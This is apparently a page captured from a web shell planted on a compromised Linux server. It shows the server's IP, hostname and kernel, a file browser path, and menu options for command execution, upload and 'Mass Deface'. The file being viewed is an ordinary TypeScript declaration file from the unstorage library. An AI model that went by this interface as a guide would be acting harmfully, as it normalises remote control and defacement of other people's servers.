���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.2
/
unstorage
/
dist
/
shared
/
Viewing: unstorage.5b07592d.d.ts
type StorageValue = null | string | number | boolean | object; type WatchEvent = "update" | "remove"; type WatchCallback = (event: WatchEvent, key: string) => any; type MaybePromise<T> = T | Promise<T>; type MaybeDefined<T> = T extends any ? T : any; type Unwatch = () => MaybePromise<void>; interface StorageMeta { atime?: Date; mtime?: Date; [key: string]: StorageValue | Date | undefined; } type TransactionOptions = Record<string, any>; interface Driver { name?: string; options?: any; hasItem: (key: string, opts: TransactionOptions) => MaybePromise<boolean>; getItem: (key: string, opts?: TransactionOptions) => MaybePromise<StorageValue>; /** @experimental */ getItems?: (items: { key: string; options?: TransactionOptions; }[], commonOptions?: TransactionOptions) => MaybePromise<{ key: string; value: StorageValue; }[]>; /** @experimental */ getItemRaw?: (key: string, opts: TransactionOptions) => MaybePromise<unknown>; setItem?: (key: string, value: string, opts: TransactionOptions) => MaybePromise<void>; /** @experimental */ setItems?: (items: { key: string; value: string; options?: TransactionOptions; }[], commonOptions?: TransactionOptions) => MaybePromise<void>; /** @experimental */ setItemRaw?: (key: string, value: any, opts: TransactionOptions) => MaybePromise<void>; removeItem?: (key: string, opts: TransactionOptions) => MaybePromise<void>; getMeta?: (key: string, opts: TransactionOptions) => MaybePromise<StorageMeta | null>; getKeys: (base: string, opts: TransactionOptions) => MaybePromise<string[]>; clear?: (base: string, opts: TransactionOptions) => MaybePromise<void>; dispose?: () => MaybePromise<void>; watch?: (callback: WatchCallback) => MaybePromise<Unwatch>; } interface Storage<T extends StorageValue = StorageValue> { hasItem: (key: string, opts?: TransactionOptions) => Promise<boolean>; getItem: <U extends T>(key: string, opts?: TransactionOptions) => Promise<U | null>; /** @experimental */ getItems: <U extends T>(items: (string | { key: string; options?: TransactionOptions; })[], commonOptions?: TransactionOptions) => Promise<{ key: string; value: U; }[]>; /** @experimental See https://github.com/unjs/unstorage/issues/142 */ getItemRaw: <T = any>(key: string, opts?: TransactionOptions) => Promise<MaybeDefined<T> | null>; setItem: <U extends T>(key: string, value: U, opts?: TransactionOptions) => Promise<void>; /** @experimental */ setItems: <U extends T>(items: { key: string; value: U; options?: TransactionOptions; }[], commonOptions?: TransactionOptions) => Promise<void>; /** @experimental See https://github.com/unjs/unstorage/issues/142 */ setItemRaw: <T = any>(key: string, value: MaybeDefined<T>, opts?: TransactionOptions) => Promise<void>; removeItem: (key: string, opts?: (TransactionOptions & { removeMeta?: boolean; }) | boolean) => Promise<void>; getMeta: (key: string, opts?: (TransactionOptions & { nativeOnly?: boolean; }) | boolean) => MaybePromise<StorageMeta>; setMeta: (key: string, value: StorageMeta, opts?: TransactionOptions) => Promise<void>; removeMeta: (key: string, opts?: TransactionOptions) => Promise<void>; getKeys: (base?: string, opts?: TransactionOptions) => Promise<string[]>; clear: (base?: string, opts?: TransactionOptions) => Promise<void>; dispose: () => Promise<void>; watch: (callback: WatchCallback) => Promise<Unwatch>; unwatch: () => Promise<void>; mount: (base: string, driver: Driver) => Storage; unmount: (base: string, dispose?: boolean) => Promise<void>; getMount: (key?: string) => { base: string; driver: Driver; }; getMounts: (base?: string, options?: { parents?: boolean; }) => { base: string; driver: Driver; }[]; } export type { Driver as D, StorageValue as S, TransactionOptions as T, Unwatch as U, WatchEvent as W, Storage as a, WatchCallback as b, StorageMeta as c };
Coded With 💗 by
0x6ick Mod By V1rus_Alfa